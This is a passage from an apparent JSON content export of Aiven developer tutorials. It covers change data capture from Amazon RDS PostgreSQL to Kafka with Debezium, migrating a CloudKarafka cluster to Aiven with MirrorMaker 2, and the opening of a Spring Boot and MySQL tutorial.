service**\n* Select **Apache Kafka®**\n* Select the cloud and region where the service will be deployed. Selecting the same cloud region where your RDS database is located will minimize latency.\n* Access the Aiven for Apache Kafka service page and enable: \n    * **Kafka Connect** to perform the change data capture\n    * **REST API** to browse the data from the Aiven Console\n    * ``kafka.auto_create_topics_enable`` from the **Advanced configuration** section to automatically create topics based on the Kafka Connect configurations\n\n![Apache Kafka REST APIs and Kafka Connect enabled](https://cdn.sanity.io/images/sczeoy4w/production/831fb87e964b1f99680e659a337eea8f419a1b8a-1384x441.png)\n\n\n## Create a Change Data Capture process with the Debezium Connector\n\nOnce Aiven for Apache Kafka is running, the next step is to setup the CDC pipeline. To do so you can head to the **Connectors** tab, select the **Debezium for PostgreSQL** connector and include the following configuration:\n\n```\n{\n    \"name\": \"mysourcedebezium\",\n    \"connector.class\": \"io.debezium.connector.postgresql.PostgresConnector\",\n    \"database.hostname\": \"\u003cHOSTNAME\u003e\",\n    \"database.port\": \"\u003cPORT\u003e\",\n    \"database.user\": \"postgres\",\n    \"database.password\": \"\u003cPASSWORD\u003e\",\n    \"database.dbname\": \"postgres\",\n    \"database.server.name\": \"mydebprefix\",\n    \"plugin.name\": \"pgoutput\",\n    \"slot.name\": \"mydeb_slot\",\n    \"publication.name\": \"mydeb_pub\",\n    \"publication.autocreate.mode\": \"filtered\",\n    \"table.include.list\": \"public.forniture\"\n}\n```\n\nWhere:\n\n* `database.hostname`, `database.port`,  `database.password` are the RDS connection parameters found in the AWS Console\n* `database.server.name` is the prefix for the topic names in Aiven for Apache Kafka\n* `plugin.name` is the PostgreSQL plugin name, `pgoutput`\n* `slot.name` and `publication.name` are the name of the replication slot and publication in PostgreSQL\n* `\"publication.autocreate.mode\": \"filtered\"` creates a publication only for the tables in scope\n* `table.include.list` lists the tables for which we want to enable CDC\n\nAfter replacing the placeholders in the JSON configuration file with the connection parameters defined above you can start the connector by:\n\n* Navigating to the [Aiven Console](https://console.aiven.io/)\n* Navigating to the Aiven for Apache Kafka service page\n* Clicking in the **Connectors** tab\n* Clicking on **New Connector**\n* Selecting the **Debezium - PostgreSQL**\n* Editing the JSON connector configuration and pasting the JSON configuration defined above.\n* Clicking on **Create Connector**\n\n\nIf you hit the error below\n\n```\nThere was an error in the configuration.\ndatabase.hostname: Postgres server wal_level property must be \"logical\" but is: replica\n```\n\nYou'll need to enable [logical replication](https://aiven.io/docs/products/postgresql/howto/logical-replication-aws-rds). To check the logical replication run `show wal_level;` from a terminal connected to the PostgreSQL database, it should show the `wal_level` as `logical`.\n\n## Check the changes in Apache Kafka\n\nOnce the connector is up and running, you should see a topic named ``mydebprefix.public.forniture``, the concatenation of the ``database.server.name`` parameter and the RDS schema and table name. To check the data in the topic in the Aiven Console:\n\n* Navigate to the **Topics** tab\n* Click on the ``mydebprefix.public.forniture`` topic\n* Click on **Messages**\n* Click on **Fetch Messages**\n* Enable the **Decode from base64**\n\nYou should see the same dataset you previously pushed to RDS appearing in JSON format in the topic.\n\n![CDC data appearing in Apache Kafka](https://cdn.sanity.io/images/sczeoy4w/production/94b5bf622526da7c214f9cd1a90f5b5af4e0f4d7-1381x1052.png)\n\nIf we perform an insert, delete and update using psql in the terminal connected to RDS, for example:\n\n```sql\nINSERT INTO FORNITURE (NAME) VALUE ('REFRIGERATOR');\nDELETE FROM FORNITURE WHERE NAME='FRIDGE';\nUPDATE FORNITURE SET NAME='COUCH' WHERE NAME='SOFA';\n```\n\nYou might get the following error:\n\n```bash\nERROR:  cannot delete from table \"forniture\" because it does not have a replica identity and publishes deletes\nHINT:  To enable deleting from the table, set REPLICA IDENTITY using ALTER TABLE.\n```\n\nTo solve the problem you can enable [full replica identity](https://www.postgresql.org/docs/current/sql-altertable.html#SQL-ALTERTABLE-REPLICA-IDENTITY) in the table with:\n\n```sql\nALTER TABLE FORNUTURE SET REPLICA IDENTITY FULL;\n```\n\nIf the above changes work, we should be able to see them in the Aiven for Kafka UI, by re-clicking on the **Fetch Messages** button.\n\n![The last three changes being visualized in Aiven for Apache Kafka topic](https://cdn.sanity.io/images/sczeoy4w/production/cde9c4a818fa2f24949028746c2e5ecdb7f2b99d-794x1180.png)\n\n## Conclusion\n\nSetting up a change data capture process from an RDS PostgreSQL database to Apache Kafka with the Debezium connector is a powerful method to be able to stream the inserts/updates/deletes to one or more consumers in real time. \n\nSome more resources if you are interested:\n\n* [Debezium PostgreSQL connector parameters](https://debezium.io/documentation/reference/stable/connectors/postgresql.html)\n* [PostgreSQL replica identity](https://www.postgresql.org/docs/current/sql-altertable.html#SQL-ALTERTABLE-REPLICA-IDENTITY)\n* [Limits of the JDBC source connector](https://www.confluent.io/events/kafka-summit-london-2022/jdbc-source-connector-what-could-go-wrong/)\n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-10-11T11:34:08.214Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"cde53d03ef79","_ref":"e518505d-84ca-4d42-8c11-077ba192bf3e","_type":"tag"}],"publishedAt":"2023-10-04T11:33:05.845Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-d425ec084db278839394ceb6d98874d3168551ec-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/cdc-amazon-rds-to-apache-kafka-debezium"},"subtitle":"Implement a real-time change data capture workflow from an Amazon Relational Database Service database using Aiven for Apache Kafka®","tags":[{"_key":"4a61b19fbd97","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"},{"_key":"1b2bee0a57b7","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"9569acab8a0f","_ref":"a04702b4-48a1-492f-9600-6bd38971cc2c","_type":"tag"},{"_key":"620a590f8e6d","_ref":"f51c71a3-c228-4f3a-b57b-12c3b1c7fc73","_type":"tag"}],"title":"Change Data Capture from Amazon RDS to Apache Kafka® with Debezium"}
{"__i18n_lang":"en","_createdAt":"2024-02-09T08:57:06Z","_id":"4db51c97-c35b-4d6e-9bf3-86a6380e6794","_rev":"ie5WJlLr1SLUBaBgD0cC2q","_type":"devArticle","_updatedAt":"2024-02-26T06:39:39Z","body":"## What you will learn\n\nThis tutorial teaches you how to migrate from an instance of CloudKarafka Apache Kafka® to an Aiven for Apache Kafka® instance. \n\nIf you are migrating an Apache Kafka® cluster from another provider, see [the generic tutorial](https://https://aiven.io/developer/kafka-migration-mirrormaker2).\n\nThis tutorial covers:\n\n* Prerequisites: what should you pay attention to before migrating?\n* Syncing data with Apache Kafka MirrorMaker 2\n* Migrating Apache Kafka topic schemas\n* Migrating Apache Kafka ACLs (Access Control Lists)\n* Migrating Apache Kafka consumer group offsets\n* Migrating Apache Kafka clients and connectors\n\n\n## What are you going to build\n\nThis tutorial outlines all common the steps to migrate an existing Apache Kafka® cluster to a new service provider using MirrorMaker 2. \n\nAll migrations are different, so this is a general rather than specific guide. This tutorial outlines a set of checks, actions and processes to follow to perform a complete migration. \n\nWe'll use [MirrorMaker 2](https://aiven.io/docs/products/kafka/kafka-mirrormaker) to migrate the data. MirrorMaker 2 is a fully managed distributed Apache Kafka® data replication utility.\n\n:::mermaid\ngraph LR;\n        id1(CloudKarafka Apache Kafka cluster)-- source alias --\u003eid2(MirrorMaker 2);\n        id2-- sink alias --\u003eid4(Aiven for Apache Kafka cluster);\n:::\n\n::alert[MirrorMaker 2 provides **asynchronous** replication across clusters. To avoid data loss during the migration, you need to ensure that the replication lag is **0** before pointing the new producers and consumers to the target Kafka environment. More information in the [monitor the MirrorMaker 2 replication flow lag](#monitor-the-mirrormaker-2-replication-flow-lag) section.]{title=\"Warning\" type=\"warning\"}\n\n\n## Prerequisites\n\nThis tutorial assumes you have both:\n- a CloudKarafka Apache Kafka® cluster at a **Dedicated** service level or above. \n\t- Aiven does not have equivalents for CloudKarafka's shared tenancy (developer) service levels. Before beginning, you must upgrade your cluster to any **Dedicated** service level. \n- an Aiven account. [Sign up for Aiven](https://aiven.io/signup) if needed.\n\nThe exact migration steps vary depending on the existing source Kafka system. This tutorial focuses on migrating the Apache Kafka topics to Aiven. \n\n## Note connection details in CloudKarafka \n\nLog into the CloudKarafka console and note the following - we'll need this information for the migration.\n\n![CloudKarafka service overview page with details highlighted.](https://cdn.sanity.io/images/sczeoy4w/production/45e91d2f5763070e42034d0662ffc7a9a6b7becb-2046x1360.png)\n\nFrom the Service Overview page:\n\n- The **Hostname**\n- The **Default user**, **Password**, **Port** and **Authentication method**\n\nFrom the Cluster page:\n\n![CloudKarafka Cluster page with server name highlighted. This will form the basis of the bootstrap servers in our next steps.](https://cdn.sanity.io/images/sczeoy4w/production/178304375d9d1a3c72e7144b9f075379c46d9e16-2044x1360.png)\n\n- The **Server details** for each server listed, in the format `servername.kafka.cloudkafka.com`. These will form the basis of the bootstrap servers we use in subsequent steps.\n\n\n## Optional: create a test topic and stream data to it\n\nIf you are migrating a production Kafka cluster, it might be useful to create a test topic with data in it to migrate first, before working with live data. \n\nYou can use [Aiven's Fake Data Producer](https://github.com/Aiven-Labs/python-fake-data-producer-for-apache-kafka) to do this. \n\nIn your CloudKarafka Kafka cluster, create a topic called **pizza-orders**. Then, use data faker the `SASL_SSL` security protocol option, omitting the `kafkaCerts` folder to stream data to it:\n\n```bash\npython main.py \\\n  --security-protocol SASL_SSL \\\n  --sasl-mechanism SCRAM-SHA-256 \\\n  --username \u003cCLOUDKARAFKA_USERNAME\u003e \\\n  --password \u003cCLOUDKARAFKA_PASSWORD\u003e \\\n  --host \u003cCLOUDKARAFKA_SERVER\u003e \\\n  --port \u003cCLOUDKARAFKA_PORT\u003e \\\n  --topic-name pizza-orders \\\n  --nr-messages 0 \\\n  --max-waiting-time 0 \\\n  --subject pizza\n```\n\nWhere:\n- `\u003cCLOUDKARAFKA_USERNAME\u003e` is the CloudKarafka **Deault user**\n- `\u003cCLOUDKARAFKA_PASSWORD\u003e` is the password of that default user\n- `\u003cCLOUDKARAFKA_SERVER\u003e` is the CloudKarafka **Hostname**\n- `\u003cCLOUDKARAFKA_PORT\u003e` is the CloudKarafka **Port**\n\nRemember to stop the data faker when you aren't actively using it!\n\n## Create an integration endpoint in Aiven\n\nThe first step you'll need to perform in the Apache Kafka migration is identifying the source Kafka cluster where the data is migrated from and create a connection to it. \n\nIf you're using Aiven for Apache Kafka, you need to define the source Kafka cluster as **External Integration** following the steps below:\n\n* Go to the [Aiven Console](https://console.aiven.io/).\n* Click on **Integration Endpoints**.\n  \n  ![The Aiven Console with the integration endpoints option highlighted](https://cdn.sanity.io/images/sczeoy4w/production/6a7ecf263f98c6b3603abe2c9e25255a355e3e45-1646x849.png)\n\n* Select **External Apache Kafka** and click on **Create New**.\n\n  ![The Aiven Console with the option to create an External Apache Kafka integration highlighted](https://cdn.sanity.io/images/sczeoy4w/production/f5ba0b8c454513abe6babd7ff431ad38e3d2bfca-1280x655.png)\n\n* Give the endpoint a **name** (like `source-cluster`), this will later be used as reference by MirrorMaker 2. \n\n* Add the following parameters:\n\t* **Name**: The name of the endpoint, for example `source-cluster`. \n\t* **Bootstrap servers:** The CloudKarakfa Hostname and and **Port** listed in the format: `\u003cserver-details\u003e.kafka.cloudkafka.com:\u003cport\u003e`. \n\t* **Security Protocol**: SASL_SSL\n\t* **Username**: The CloudKarafka user name\n\t* **Password**: The CloudKarafka password\n\t* **SASL Mechanism**: SCRAM-SHA-512\n\nClick **Save**. \n\n\n## Create the target Kafka cluster and MirrorMaker 2 instance\n\nNext, create the Apache Kafka cluster to migrate to, and the MirrorMaker 2 instance we'll use to sync the two clusters. \n\nWe'll create these services in Aiven for the purposes of this tutorial.\n\nIn the [Aiven Console](https://console.aiven.io/), create:\n\n* An [Aiven for Apache Kafka](https://aiven.io/docs/products/kafka) service named `target-kafka` for data streaming. This is the target Kafka cluster for the migration.\n* An [Aiven for Apache Kafka MirrorMaker 2](https://aiven.io/docs/products/kafka/kafka-mirrormaker) service named `mm2`, MirrorMaker 2 will be used to stream the data from the source Apache Kafka cluster to `target-kafka`. \n\n### Create an Aiven for Apache Kafka® service\n\nThe [Aiven for Apache Kafka](https://aiven.io/docs/products/kafka) service is the target cluster for the migration. You can create the service with the following steps:\n\n1. Log in to the [Aiven web console](https://console.aiven.io/).\n2. On the *Services* page, click **Create a new service**.\n\n   This opens a new page with the available service options.\n\n   ![Aiven Console view for creating a new service](https://cdn.sanity.io/images/sczeoy4w/production/9ee46d57b3e145d3b66ae7505c6b482c3269bd67-3276x1624.png)\n\n3. Select **Apache Kafka®**.\n\n4. Select the cloud provider and region that you want to run your service on.\n\n5. Select `business-4` as service plan.\n\n5. Enter `target-kafka` as name for your service.\n\n6. Click **Create Service** under the summary on the right side of the console.\n\n### Customize the Aiven for Apache Kafka service\n\nNow that you've created your target cluster, you need to customize it's functionality. In the **Overview** tab of your freshly created service, you'll see a bunch of toggles and properties. Change these three:\n\n1. **Enable REST APIs**: via **Kafka REST API (Karapace)** \u003e **Enable**.\n\n   ::alert[The **Kafka REST API** allows you to manage and query Apache Kafka via REST APIs. You'll use it to inspect the data in Apache Kafka from the Aiven Console.]{title=\"Note\"}\n\n2. **Auto creation of topics**: via **Advanced configuration** \u003e **Add configuration option** \u003e ``kafka.auto_create_topics_enable``, switch the setting on and then click **Save advanced configuration**.\n\n   ::alert[The ``kafka.auto_create_topics_enable`` setting allows you to create new Apache Kafka® topics on the fly while pushing a first record. It avoids needing to create a topic in advance. To read more about the setting, check the [dedicated documentation](https://aiven.io/docs/products/kafka/howto/create-topics-automatically).]{title=\"Note\"}\n\n5. **Enable SASL** : Enable [SASL](https://aiven.io/docs/products/kafka/howto/kafka-sasl-auth) via the dedicated configuration option.\n  - After doing this, in the Overview, toggle the authentication type to **SASL** as well \n\n### Create an Aiven for Apache Kafka MirrorMaker 2 service\n\nThe [Aiven for Apache Kafka MirrorMaker 2](https://aiven.io/docs/products/kafka/kafka-mirrormaker) service syncs the data between the source and target clusters in the migration. You can create the service with the following steps:\n\n1. Log in to the [Aiven Console](https://console.aiven.io/).\n2. Click on the Aiven for Apache Kafka service you created previously, named `target-kafka`.\n3. On the *Overview* tab, scroll down until you locate the *Service integration* section and click on **Manage integrations**.\n\n   ![Aiven Console, *Service integration* section and **Manage integrations** button](https://cdn.sanity.io/images/sczeoy4w/production/d68b90444fc1fc6f337322dd3fbfd0dcd9b163ba-1068x141.png)\n\n4. Select **Apache Kafka MirrorMaker** 2.\n\n   ![Aiven Console, list of available integrations](https://cdn.sanity.io/images/sczeoy4w/production/239692b4663dca330479d9ccacf255277b9ac1da-1280x720.png)\n\n5. In the new window popup, select the **New Service** option and click on **Continue**.\n\n6. Give the new service a name, `mm2`, then select the cloud provider, region, and service plan. Then click on **Continue**.\n\n7. Define the **Cluster alias**, this is the logical name you'll use to define the target `target-kafka` cluster.  Use ``kafka-target``.\n\nOnce you follow all the steps, you should see an active integration between `target-kafka` and `mm2` named ``kafka-target``:\n\n![Aiven Console, active MirrorMaker 2 integration](https://cdn.sanity.io/images/sczeoy4w/production/50db07cdcfcce59724d1951b841d0107e9087f8f-1336x144.png)\n\n## Create a data replication using MirrorMaker 2\n\nThe next step in the migration journey is to create a data replication from the source cluster to the Aiven for Apache Kafka service named `target-kafka`. To create a replication you need to:\n\n* Create an alias for the source Apache Kafka cluster (the target alias `kafka-target`).\n* Define the replication flow.\n\n### Create an alias for the source Apache Kafka cluster\n\nTo create a MirrorMaker 2 replication flow, first create an alias to point to the source Kafka cluster. You defined the target alias ``kafka-target`` during the creation of the MirrorMaker 2 service, so use that.\n\nTo create the alias with the [Aiven Console](https://console.aiven.io/) you can follow the steps below:\n\n1. Navigate to the MirrorMaker 2 `mm2` service page.\n2. Click on the **Integration** tab.\n3. Scroll until you reach the **External integrations** section.\n4. Select **Cluster for replication** within the available external integrations.\n5. Select the endpoint name you defined in a previous step (``source-cluster``) and click **Continue**.\n\n   ![Aiven Console, MirrorMaker 2 alias definition for the external Apache Kafka endpoint integration](https://cdn.sanity.io/images/sczeoy4w/production/094dd3765c68fddb661ebf6dacc86e709debb7e5-1172x327.png)\n\n6. Give the source cluster an alias name, for example `kafka-source`, and click **Enable**.\n\nOnce the steps are done, you should be able to see the two aliases, `kafka-source` and `kafka-target` defined as integrations in the `demo-mm2` service:\n\n![Aiven Console, MirrorMaker 2 source and target integration enabled](https://cdn.sanity.io/images/sczeoy4w/production/7c33c65ce44d38ebe81deec442b0d5a3c92f9e41-1344x388.png)\n\n::alert[If you experience connection problems to the source or target clusters, the MirrorMaker 2 service overview page shows the following error: ![Aiven Console, MirrorMaker 2 service overview, error message stating that the connection to a target Kafka service is not working](https://cdn.sanity.io/images/sczeoy4w/production/939c844b62dae4cd4613c71691854cb689b64233-1316x89.png). You can also review the service logs by clicking on the **Log** tab.]{title=\"Warning\" type=\"warning\"}\n\n### Start the MirrorMaker 2 replication flow\n\n\n::alert[If your topic requires certain configurations such as compaction or specific partitioning configurations, we recommend creating your topic in Aiven for Apache Kafka before starting the replication flow. MirrorMaker 2 will not recreate topics with the same configuration options as the source Kafka cluster. ]{title=\"Warning\" type=\"warning\"}\n\nIn the previous steps you defined MirrorMaker 2 source and target aliases. Now it's time to define the replication flow.\n\nYou first need to identify the set of topics you want to migrate to the new cluster, and create a [Java regular expression](https://aiven.io/docs/products/kafka/kafka-mirrormaker/concepts/replication-flow-topics-regex) that includes them. \n\nFor example, if you want to migrate all the topics starting with ``customer.`` and the ones containing ``.logistic.`` you can add the two regular expressions: ``customer\\..*`` and ``.*\\.logistic\\..*``.\n\nTo migrate all topics, Use `.*`.\n\n::alert[You can list both topics to be included and excluded in the allow list and stop list.]{title=\"Tip\"}\n\n\nNext, create a MirrorMaker 2 replication flow in the [Aiven Console](https://console.aiven.io/):\n\n1. Navigate to the ``demo-mm2`` service page.\n2. Click on the **Replication Flows** tab.\n3. Click on **Create replication flow**.\n4. Fill in the replication flow details:\n\n   * **Source cluster**: ``kafka-source`` - the alias defined for the source Kafka cluster.\n   * **Target cluster**: ``kafka-target`` - the alias defined for the target Aiven for Apache Kafka cluster.\n   * **Topics**: the [Java regular expression](https://aiven.io/docs/products/kafka/kafka-mirrormaker/concepts/replication-flow-topics-regex) defining which topics to include. \n     \n     For instance\n     \n     * ``customer\\..*`` to include all topics starting with ``customer.``.\n     * ``*\\..europe\\..*`` to include all topics including with ``.europe.``.\n   * **Topics blacklist**: the [Java regular expression](https://aiven.io/docs/products/kafka/kafka-mirrormaker/concepts/replication-flow-topics-regex) defining which topics to exclude. E.g. ``*\\..test`` to exclude all topics ending with ``test.``.\n   * **Sync group offset**: to define whether to sync the topic containing the consumer group offset.\n   * **Sync interval in seconds**: to define the frequency of the sync.\n   * **Offset syncs topic location**: to provide offset translation, MirrorMaker 2 uses the ``mm2-offset-syncs`` topic. To ensure we don't lose any data, set this to **target**.\n   * **Replication policy class**: controls the prefix when replicating topics. ``DefaultReplicationPolicy`` sets the topic name in the target Kafka service as ``source_cluster_alias.topic_name`` (prefixing the topic name with the source cluster alias), while ``IdentityReplicationPolicy`` sets the target topic name equal to the source topic name.\n   * **Emit heartbeats enabled**: allow MirrorMaker 2 to emit heartbeats to keep the connection open even in cases where no messages are replicated.\n   * **Enable**: to enable the data sync job.\n\n   The following represents an example of a replication flow setting:\n\n   ![Aiven Console, replication flow details](https://cdn.sanity.io/images/sczeoy4w/production/e12c53543921531c47312252338047cf0bfa4b18-1029x806.png)\n\n5. Click on **Create**\n\nAfter following the steps above, you should see the enabled replication flow:\n\n![Aiven Console, MirrorMaker 2 replication flow enabled](https://cdn.sanity.io/images/sczeoy4w/production/6fb6b278a4d0c240844b6b035f2f6654e44bde05-1333x271.png)\n\nBrowsing the target `target-kafka` service, you should see the topics being replicated. The following image shows replication (using the ``DefaultReplicationPolicy``) of the ``kafka-source.customer.clicks`` and ``kafka-source.customer.purchases`` topics together with MirrorMakers 2 internal topics.\n\n![Aiven Console, target Aiven for Apache Kafka with the replicated clicks and purchases topics](https://cdn.sanity.io/images/sczeoy4w/production/3b63fd6e0e87fedf70bb882c7cd6c06a27225112-1364x760.png)\n\n::alert[Once you start the replication flow, MirrorMaker 2 continuously checks for topics matching the regular expression defined. If you create new topics matching the regex in the source cluster, they'll appear also in the target cluster.]{title=\"Note\"}\n\n### Monitor the MirrorMaker 2 replication flow lag\n\nAfter starting the replication flow, MirrorMaker 2 starts moving data between the source and target Kafka clusters in asynchronous mode. To measure how the replication is performing you might want to check the replication lag: the delay in synchronization between the source and target Apache Kafka cluster. Once the lag is `0`, the two Apache Kafka clusters are in sync.\n\nFollow the documentation to review [how to create services integrations](https://aiven.io/docs/platform/howto/create-service-integration). \n\nThe metric you want to track is called ``kafka_mirrormaker_summary.replication_lag``. The image below showcases a Grafana® dashboard showing the mean MirrorMaker 2 replication lag trending to ``0``.\n\n\n![Grafana dashboard showing the `kafka_mirrormaker_summary.replication_lag` metric](https://cdn.sanity.io/images/sczeoy4w/production/0b1d6b095faff79b2fc963b37eeda911f0d7eb35-1630x839.png)\n\n## Migrate topic schemas\n\nApache Kafka topic schemas define the structure of the data in certain topics. They can be migrated two different ways:\n\n1. By replicating the schemas topic stored in Apache Kafka (usually located in the ``_schemas`` topic).\n2. By extracting the schema information from the source and registering in the target environment using the appropriate APIs.\n\nThe second option offers much more control over which schemas are migrated. To register the schemas in an Aiven for Apache Kafka service you can:\n\n* Navigate in the [Aiven Console](https://console.aiven.io/), service page, **Schemas** tab.\n* Use the [Karapace rest APIs](https://api.aiven.io/doc/#tag/Service:_Kafka/operation/ServiceSchemaRegistrySubjectVersionPost).\n* Use [Aiven command line interface](https://aiven.io/docs/tools/cli).\n\n\n## Migrate access control list\n\nApache Kafka Access Control Lists (ACLs) define how various users are allowed to interact with the topics and schemas. To migrate ACLs, we recommend extracting the ACL definition from the source Apache Kafka cluster, then recreating the ACL in the target cluster. \n\nIf the target of the migration is Aiven for Apache Kafka, you can define the ACLs with:\n\n* The [Aiven Console](https://console.aiven.io/), service page, **Access Control Lists (ACL)** tab.\n* The dedicated [Aiven REST API](https://api.aiven.io/doc/#tag/Service:_Kafka/operation/ServiceKafkaAclAdd).\n* The dedicated [Aiven CLI command](https://aiven.io/docs/tools/cli/service/acl).\n\n\n## Change client settings\n\nAfter the replication flow is running and the schemas and ACLs are in place, you can start pointing producers and consumers to the target Apache Kafka cluster. \n\n::alert[To avoid losing Apache Kafka messages during the asynchronous MirrorMaker 2 migration, we suggest stopping the producers, checking that both the consumer lag in the source system and the MirrorMaker 2 replication lag is ``0``, and then pointing producers and consumers to the target Apache Kafka cluster. The [migration process](#complete-migration-process) provides a detailed series of steps to follow.]{title=\"Warning\" type=\"warning\"}\n\nIf the target of the migration is Aiven for Apache Kafka, follow the documentation to [download the required certificates and connect as a producer or consumer](https://aiven.io/docs/products/kafka/howto/list-code-samples).\n\n\n## Complete migration process\n\nThe following diagram showcases all the steps included in an Apache Kafka migration process.\n\n\u003c!-- \nthis mermaid code doesn't render on page. Using https://mermaid.live to create image instead. https://github.com/aiven/devportal/blob/8ac99e7009720a20047f0442d344bc7f8ed57779/docs/tutorials/kafka-migration.rst\n--\u003e\n\n![Diagram showcases all the steps included in an Apache Kafka migration process](https://cdn.sanity.io/images/sczeoy4w/production/74fe6c55942f4ec7576e18d5a95f11fe971bbf85-2629x3985.jpg?w=450)\n\n## Check the migration results\n\nWhen the migration process terminates, check the target Apache cluster to ensure that:\n\n* All the ACLs are in place: in the [Aiven Console](https://console.aiven.io/) service page -\u003e **Access Control List (ACL)** Tab. \n* All the schemas are present in the target schema registry (Karapace for Aiven for Apache Kafka): in the [Aiven Console](https://console.aiven.io/) service page -\u003e **Schemas** Tab.  \n* All the topics included in the replication flows defined are present, and the data is flowing: in the [Aiven Console](https://console.aiven.io/) service page -\u003e **Topics** Tab. \n* All the producers and consumers are pointing to the target cluster and correctly pushing/consuming data\n\n## Next steps\n\nThis guide doesn't cover how to confingure your client data producers and consumers to Aiven for Apache Kafka. The migration is not complete without redirecting data to the new Apache Kafka cluster. \n\n- Learn how to [connect to an Aiven for Apache Kafka cluster](https://aiven.io/docs/products/kafka/howto/list-code-samples) using a number of different languages\n- Test your Aiven for Apache Kafka cluster using the [Aiven fake data producer](https://github.com/Aiven-Labs/python-fake-data-producer-for-apache-kafka)\n\n\nIn this guide we used Aiven's ability to directly spin up and connect to a MirrorMaker 2 instance to create a replication flow and migrate our data. Aiven can also connect directly to a growing number of other services you might find useful, like databases for storing data coming through Kafka, Grafana for metrics, Datadog for observability, and more. \n\n- Learn more about the [Aiven data platform](https://aiven.io/platform) and other services you can spin up with your Aiven account\n- Or about [external services you can integrate with Aiven](https://aiven.io/integrations-and-connectors)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-04-06T16:41:43.597Z"},"publishedAt":"2023-04-03T13:58:10.371Z","seo":{"_type":"metaData","metaDescription":"Learn how to migrate an existing Apache Kafka® cluster to a new service provider using Apache Kafka® MirrorMaker 2.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-1b6fd4fd12a18e07300a063a9024bb5a913d7d9d-1567x844-png","_type":"reference"}},"metaTitle":"Migrate Apache Kafka with MirrorMaker 2"},"slug":{"_type":"slug","current":"/developer/cloudkarafka-aiven-migration"},"subtitle":"Learn how to migrate a CloudKarafka Apache Kafka® cluster to Aiven for Apache Kafka® using Apache Kafka® MirrorMaker 2.\n","title":"Migrate a CloudKarafka Apache Kafka® cluster to Aiven with MirrorMaker 2"}
{"__i18n_lang":"en","_createdAt":"2023-06-07T08:49:04Z","_id":"52ddc983-a14f-46fb-ac5c-c6096dbb0547","_rev":"lhvtNBOlLYH5KiQFQ8YoQH","_type":"devArticle","_updatedAt":"2024-01-29T15:45:40Z","body":"It's your first week as an enterprise Java developer and your project manager asks you to build a demo application for a client project. You're excited to take on the challenge, but you're also a bit nervous - you have never built a web application from scratch before. Sit back and relax as we tackle this challenge as a team.\n\nJust like any other problem, a complex problem can be solved if:\n\n- We understand the requirements clearly\n- We break down bigger problem into smaller ones\n- We understand the time, performance, and reliability requirements\n\nOnce you ask a few questions to your project manager, you realize that the team expects you to build the backend and handle the database part as they have a frontend developer building the UI for the application. Let's choose [Java](https://www.oracle.com/java/) as the language and [Spring Boot®](https://spring.io/projects/spring-boot) as the framework. Java's combination of portability, scalability, security, community support, and longevity make it a popular choice for enterprise development. Spring Boot is a popular Java framework that makes it easy to create web applications quickly and efficiently. It provides a wide range of features, including easy configuration, integrated security, and support for multiple data sources, making it a great choice for building modern web applications. \n\nBut you're worried about deploying and managing a relational database in production for your clients. One of your colleagues used Aiven before and they suggested a managed MySQL service for this project. [Aiven for MySQL](https://aiven.io/mysql) will provide automated maintenance, backups, and upgrades, freeing up time and resources for your important project. You also won't have to worry about scalability and high availability and Aiven platform will ensure that the database can handle fluctuations in traffic and data volume without downtime or performance issues.\n\nIn this tutorial, we'll work as a team to build a demo backend application with Spring Boot and Aiven for MySQL.\n\n## Prerequisites\n\nTo follow this tutorial, you'll need:\n\n1. A MySQL database: You can use your existing MySQL service. Otherwise, [sign up for an Aiven account](https://aiven.io/signup) and [follow the instructions](https://aiven.io/docs/products/mysql/get-started) to create an Aiven for MySQL service on Aiven. (🤫 there's a free tier)\n\n2. Java Development Kit (JDK): You'll need to have the JDK installed on your computer to compile and run the Spring Boot application. You can download the latest version of the JDK from [the Oracle website](https://www.oracle.com/java/technologies/downloads/). At the time of writing this tutorial, there are both Java 17 and Java 20 available for download. You can choose either.\n\n3. A development environment: You can use any IDE of your choice to create the Spring Boot project, such as [IntelliJ IDEA](https://www.jetbrains.com/idea/), [Eclipse](https://eclipseide.org/), [Visual Studio Code](https://code.visualstudio.com/), or [NetBeans](https://netbeans.apache.org/).\n\n4. MySQL client: You'll need a MySQL client to connect to your MySQL service and manage your database. You can use any MySQL client of your choice, such as MySQL Workbench, HeidiSQL, or DBeaver. I'm using [mysqlsh](https://dev.mysql.com/doc/mysql-shell/8.0/en/mysqlsh.html) - an advanced command-line client and code editor for MySQL.\n\n## Create a MySQL service\n\nIf you already have a running MySQL service, feel free to skip this section. In this section, I'll walk you through creating an Aiven for MySQL service. Assuming you've already signed up, navigate to the [Aiven console](https://console.aiven.io/) and click **Create service**.\n\nSelect the free plan for Aiven for MySQL (yes, it's forever-free plan!).\n\n![Choosing the plan](https://cdn.sanity.io/images/sczeoy4w/production/b56e59b1a7a1561f154fc1b588d7b5bc20cd32d0-2562x1236.png)\n\nChoose the region close to you and give your MySQL service a name. Click **Create service**.\n\n![Create the service](https://cdn.sanity.io/images/sczeoy4w/production/19cc21991469173ec1dd07ce94b76e4f2d66e0ec-2564x1408.png)\n\nA flashing blue indicator under *Nodes* indicates that your service is being provisioned. A solid green indicates that your MySQL service is running. At this point, go to the service and find connection information from the **Overview** tab.\n\n## Let's create a Spring Boot application\n\nThe easiest way to create a Spring Boot application from a template is to use [Spring initializr](https://start.spring.io/). Build the artifact in the following way and click **Generate**. A *demo.zip* will be downloaded which you can extract and open in your favorite IDE.\n\n![Spring initializr](https://cdn.sanity.io/images/sczeoy4w/production/66b95274aa812b8e3cbf6cd7139dc4af7a775411-3194x1687.png)\n\nUse the following as your configuration. If you're using Java 20 instead of Java 17, you might see different options for the Spring Boot version. This tutorial should work either way.\n\n| Project      | Maven                                     |\n|--------------|-------------------------------------------|\n| Language     | Java                                      |\n| Spring Boot  | 3.1.0                                     |\n| Group        | io.aiven.spring.mysql                     |\n| Artifact     | demo                                      |\n| Name         | demo                                      |\n| Description  | Demo project for Spring Boot and MySQL    |\n| Package name | io.aiven.spring.mysql.demo                |\n| Packaging    | Jar                                       |\n| Java         | 17                                        |\n| Dependency 1 | Spring Web                                |\n| Dependency 2 | Spring Data 